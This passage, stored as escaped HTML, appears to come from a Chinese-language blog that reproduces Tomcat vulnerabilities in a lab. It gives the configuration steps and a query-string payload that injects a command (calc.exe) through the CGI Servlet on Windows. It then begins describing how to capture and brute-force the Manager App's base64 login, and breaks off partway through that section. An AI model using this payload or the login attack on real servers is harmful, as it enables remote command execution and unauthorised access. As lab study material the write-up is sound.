\/><\/p>\n<p>Tomcat\u7684 CGI_Servlet\u7ec4\u4ef6\u9ed8\u8ba4\u662f\u5173\u95ed\u7684\uff0c\u5728<code>conf\/web.xml<\/code>\u4e2d\u627e\u5230\u6ce8\u91ca\u7684 CGIServlet\u90e8\u5206\uff0c\u53bb\u6389\u6ce8\u91ca\uff0c\u5e76\u914d\u7f6eenableCmdLineArguments\u548cexecutable<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135639972.png\" alt=\"image-20220330135639972\" \/><\/p>\n<p>\u8fd9\u91cc\u6ce8\u610f\u4e00\u4e0b\uff0c\u53bb\u6389\u6ce8\u91ca\u5e76\u6dfb\u52a0\u4ee5\u4e0b\u4ee3\u7801<\/p>\n<pre><code>enableCmdLineArguments\u542f\u7528\u540e\u624d\u4f1a\u5c06Url\u4e2d\u7684\u53c2\u6570\u4f20\u9012\u5230\u547d\u4ee4\u884cexecutable\u6307\u5b9a\u4e86\u6267\u884c\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u9ed8\u8ba4\u662fperl\uff0c\u9700\u8981\u7f6e\u4e3a\u7a7a\u624d\u4f1a\u6267\u884c\u6587\u4ef6\u672c\u8eab\u3002<\/code><\/pre>\n<pre><code class=\"language-xml\">&lt;init-param&gt;\n        &lt;param-name&gt;enableCmdLineArguments&lt;\/param-name&gt;\n        &lt;param-value&gt;true&lt;\/param-value&gt;\n&lt;\/init-param&gt;\n&lt;init-param&gt;\n    &lt;param-name&gt;executable&lt;\/param-name&gt;\n    &lt;param-value&gt;&lt;\/param-value&gt;\n&lt;\/init-param&gt;<\/code><\/pre>\n<p>\u7136\u540e\u5728conf\/web.xml\u4e2d\u542f\u7528cgi\u7684 servlet-mapping<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135818997.png\" alt=\"image-20220330135818997\" \/><\/p>\n<p>\u4fee\u6539conf\/context.xml\u7684\u6dfb\u52a0 privileged=&quot;true&quot;\u5c5e\u6027\uff0c\u5426\u5219\u4f1a\u6ca1\u6709\u6743\u9650<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135901407.png\" alt=\"image-20220330135901407\" \/><\/p>\n<p>\u6dfb\u52a0true<\/p>\n<pre><code class=\"language-xml\">&lt;Context privileged=&quot;true&quot;&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135929895.png\" alt=\"image-20220330135929895\" \/><\/p>\n<p>\u5728<code>C:\\Tomcat\\webapps\\ROOT\\WEB-INF<\/code>\u4e0b\u521b\u5efa<code>cgi-bin<\/code>\u76ee\u5f55<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135950727.png\" alt=\"image-20220330135950727\" \/><\/p>\n<p>\u5728\u8be5\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2ahello.bat<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330140004417.png\" alt=\"image-20220330140004417\" \/><\/p>\n<p>\u7136\u540e\u91cd\u542ftomcat\u73af\u5883<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330140018967.png\" alt=\"image-20220330140018967\" \/><\/p>\n<p>\u8bbf\u95ee<code>http:\/\/localhost:8080\/cgi-bin\/hello.bat?&amp;C%3A%5CWindows%5CSystem32%5Ccalc.exe<\/code>\u5373\u53ef\u5f39\u51fa\u8ba1\u7b97\u5668\uff0c\u8fd9\u91cc\u6784\u9020\u7cfb\u7edf\u547d\u4ee4\u5373\u53ef<br \/>\n<img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330140037361.png\" alt=\"image-20220330140037361\" \/><\/p>\n<h2>manager App\u66b4\u529b\u7834\u89e3<\/h2>\n<h3>\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u540e\u53f0\u5bc6\u7801\u7528base64\u7f16\u7801\u4f20\u8f93\uff0c\u6293\u5305\u89e3\u5bc6\u5373\u53ef\u5f97\u5230\u540e\u53f0\u5bc6\u7801\uff0c\u4e5f\u53ef\u4ee5\u8fdb\u884c\u7206\u7834<\/p>\n<h3>\u6f0f\u6d1e\u590d\u73b0<\/h3>\n<p>\u8fd9\u91cc\u8bbf\u95ee<code>http:\/\/192.168.226.128:8080\/manager\/html<\/code>\u8fdb\u884c\u6293\u5305\uff0c\u5728\u6ca1\u6709\u8f93\u5165\u5e10\u53f7\u5bc6\u7801\u7684\u65f6\u5019\u662f\u6ca1\u6709\u4ec0\u4e48\u6570\u636e\u7684<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330140432419.png\" alt=\"image-20220330140432419\" \/><\/p>\n<p>\u628a\u8fd9\u4e2a\u5305\u653e\u8fc7\u53bb\uff0c\u4f1a\u8bf7\u6c42\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u518d\u8fdb\u884c\u6293\u5305<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330140505629.png\" alt=\"image-20220330140505629\" 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